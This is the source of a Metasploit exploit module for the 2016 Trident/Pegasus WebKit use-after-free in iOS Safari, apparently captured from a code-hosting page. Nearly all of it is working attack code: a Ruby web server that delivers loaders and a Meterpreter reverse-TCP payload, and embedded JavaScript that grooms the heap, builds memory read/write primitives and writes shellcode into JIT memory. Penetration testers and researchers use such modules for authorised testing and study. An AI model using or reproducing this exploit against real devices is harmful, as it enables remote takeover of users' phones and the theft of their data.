Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/apple_ios/browser/webkit_trident.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'WebKit not_number defineProperties UAF',13'Description' => %q{14This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.15},16'License' => MSF_LICENSE,17'Author' => [18'qwertyoruiop', # jbme.qwertyoruiop.com19'siguza', # PhoenixNonce20'tihmstar', # PhoenixNonce21'benjamin-42', # Trident22'timwr', # metasploit integration23],24'References' => [25['CVE', '2016-4655'],26['CVE', '2016-4656'],27['CVE', '2016-4657'],28['BID', '92651'],29['BID', '92652'],30['BID', '92653'],31['URL', 'https://blog.lookout.com/trident-pegasus'],32['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],33['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],34['URL', 'https://github.com/Siguza/PhoenixNonce'],35['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],36['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],37['URL', 'https://github.com/benjamin-42/Trident'],38['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],39],40'Arch' => ARCH_AARCH64,41'Platform' => 'apple_ios',42'DefaultTarget' => 0,43'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },44'Targets' => [[ 'Automatic', {} ]],45'DisclosureDate' => '2016-08-25'))46register_options(47[48OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),49OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])50])51end5253def payload_url54"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"55end5657def on_request_uri(cli, request)58print_status("Request from #{request['User-Agent']}")59if request.uri =~ %r{/loader32$}60print_good("armle target is vulnerable.")61local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )62loader_data = File.read(local_file, mode: 'rb')63srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)64config = [srvhost, srvport].pack("Nn") + payload_url65payload_url_index = loader_data.index('PAYLOAD_URL')66loader_data[payload_url_index, config.length] = config67send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})68return69elsif request.uri =~ %r{/loader64$}70print_good("aarch64 target is vulnerable.")71local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )72loader_data = File.read(local_file, mode: 'rb')73send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})74return75elsif request.uri =~ %r{/exploit64$}76local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )77loader_data = File.read(local_file, mode: 'rb')78payload_url_index = loader_data.index('PAYLOAD_URL')79loader_data[payload_url_index, payload_url.length] = payload_url80send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})81print_status("Sent exploit (#{loader_data.size} bytes)")82return83elsif request.uri =~ %r{/payload32$}84payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha185send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})86print_status("Sent payload (#{payload_data.size} bytes)")87return88end89html = %Q^90<html>91<body>92<script>9394function load_binary_resource(url) {95var req = new XMLHttpRequest();96req.open('GET', url, false);97req.overrideMimeType('text/plain; charset=x-user-defined');98req.send(null);99return req.responseText;100}101102var pressure = new Array(400);103var bufs = new Array(10000);104105var fcp = 0;106var smsh = new Uint32Array(0x10);107108var trycatch = "";109for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";110var fc = new Function(trycatch);111112function dgc() {113for (var i = 0; i < pressure.length; i++) {114pressure[i] = new Uint32Array(0xa000);115}116for (var i = 0; i < pressure.length; i++) {117pressure[i] = 0;118}119}120121function swag() {122if(bufs[0]) return;123124dgc();125126for (i=0; i < bufs.length; i++) {127bufs[i] = new Uint32Array(0x100*2)128for (k=0; k < bufs[i].length; )129{130bufs[i][k++] = 0x41414141;131bufs[i][k++] = 0xffff0000;132}133}134}135136var mem0=0;137var mem1=0;138var mem2=0;139140function read4(addr) {141mem0[4] = addr;142var ret = mem2[0];143mem0[4] = mem1;144return ret;145}146147function write4(addr, val) {148mem0[4] = addr;149mem2[0] = val;150mem0[4] = mem1;151}152153_dview = null;154function u2d(low, hi) {155if (!_dview) _dview = new DataView(new ArrayBuffer(16));156_dview.setUint32(0, hi);157_dview.setUint32(4, low);158return _dview.getFloat64(0);159}160161function go_(){162var arr = new Array(0x100);163var not_number = {};164not_number.toString = function() {165arr = null;166props["stale"]["value"] = null;167swag();168return 10;169};170171smsh[0] = 0x21212121;172smsh[1] = 0x31313131;173smsh[2] = 0x41414141;174smsh[3] = 0x51515151;175smsh[4] = 0x61616161;176smsh[5] = 0x71717171;177smsh[6] = 0x81818181;178smsh[7] = 0x91919191;179180var props = {181p0 : { value : 0 },182p1 : { value : 1 },183p2 : { value : 2 },184p3 : { value : 3 },185p4 : { value : 4 },186p5 : { value : 5 },187p6 : { value : 6 },188p7 : { value : 7 },189p8 : { value : 8 },190length : { value : not_number },191stale : { value : arr },192after : { value : 666 }193};194195var target = [];196var stale = 0;197Object.defineProperties(target, props);198stale = target.stale;199200if (stale.length != 0x41414141){201location.reload();202return;203}204205var obuf = new Uint32Array(2);206obuf[0] = 0x41414141;207obuf[1] = 0xffff0000;208209stale[0] = 0x12345678;210stale[1] = {};211212for(var z=0; z<0x100; z++) fc();213214for (i=0; i < bufs.length; i++) {215var dobreak = 0;216for (k=0; k < bufs[0].length; k++) {217if (bufs[i][k] == 0x12345678) {218if (bufs[i][k+1] == 0xFFFF0000) {219stale[0] = fc;220fcp = bufs[i][k];221stale[0] = {222'a': u2d(105, 0),223'b': u2d(0, 0),224'c': smsh,225'd': u2d(0x100, 0)226}227stale[1] = stale[0];228bufs[i][k] += 0x10;229bck = stale[0][4];230stale[0][4] = 0;231stale[0][6] = 0xffffffff;232mem0 = stale[0];233mem1 = bck;234mem2 = smsh;235bufs.push(stale);236if (smsh.length != 0x10) {237var filestream = load_binary_resource("loader64");238var macho = load_binary_resource("exploit64");239r2 = smsh[(fcp+0x18)/4];240r3 = smsh[(r2+0x10)/4];241var jitf = smsh[(r3+0x10)/4];242write4(jitf, 0xd28024d0); //movz x16, 0x126243write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4244write4(jitf + 8, 0xd4001001); //svc 80245write4(jitf + 12, 0xd65f03c0); //ret246write4(jitf + 16, jitf + 0x20);247write4(jitf + 20, 1);248fc();249var dyncache = read4(jitf + 0x20);250var dyncachev = read4(jitf + 0x20);251var go = 1;252while (go) {253if (read4(dyncache) == 0xfeedfacf) {254for (i = 0; i < 0x1000 / 4; i++) {255if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever256{257go = 0;258break;259}260}261}262dyncache += 0x1000;263}264dyncache -= 0x1000;265var bss = [];266var bss_size = [];267for (i = 0; i < 0x1000 / 4; i++) {268if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {269bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);270bss_size.push(read4(dyncache + i * 4 + (0x28)));271}272}273var shc = jitf;274for (var i = 0; i < filestream.length;) {275var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);276write4(shc, word);277shc += 4;278i += 4;279}280jitf &= ~0x3FFF;281jitf += 0x8000;282write4(shc, jitf);283write4(shc + 4, 1);284// copy macho285for (var i = 0; i < macho.length;i+=4) {286var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);287write4(jitf+i, word);288}289for (var i = 0; i < bss.length; i++) {290for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {291write4(bss[i] + k * 4, 0);292}293}294fc();295}296} else if(bufs[i][k+1] == 0xFFFFFFFF) {297stale[0] = fc;298fcp = bufs[i][k];299stale[0] = smsh;300stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}301stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}302stale[1] = stale[0];303bufs[i][k] += 0x10;304var leak = stale[0][0].charCodeAt(0);305leak += stale[0][1].charCodeAt(0) << 8;306leak += stale[0][2].charCodeAt(0) << 16;307leak += stale[0][3].charCodeAt(0) << 24;308bufs[i][k] -= 0x10;309stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}310stale[1] = stale[0];311bufs[i][k] += 0x10;312stale[0][4] = 0;313stale[0][5] = 0xffffffff;314bufs[i][k] -= 0x10;315mem0 = stale[0];316mem2 = smsh;317if (smsh.length != 0x10) {318setTimeout(function() {319var filestream = load_binary_resource("loader32");320r2 = smsh[(fcp+0x14)/4];321r3 = smsh[(r2+0x10)/4];322shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;323smsh[shellcode/4] = 0;324shellcode += 4;325smsh[shellcode/4] = 0;326shellcode += 4;327smsh[shellcode/4] = 0;328shellcode += 4;329smsh[shellcode/4] = 0;330shellcode += 4;331for(var i = 0; i < filestream.length; i+=4) {332var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8) | ((filestream.charCodeAt(i+2) & 0xff) << 16) | ((filestream.charCodeAt(i+3) & 0xff) << 24);333smsh[(shellcode+i)/4] = word;334}335smsh[(fcp+0x00)/4] = fcp+4;336smsh[(fcp+0x04)/4] = fcp+4;337smsh[(fcp+0x08)/4] = shellcode+1; //PC338smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;339340fc();341}, 100);342}343} else {344location.reload();345}346dobreak = 1;347break;348}349}350if (dobreak) break;351}352location.reload();353}354355setTimeout(go_, 300);356357358</script>359</body>360</html>361^362send_response(cli, html, {'Content-Type'=>'text/html'})363end364365end366367368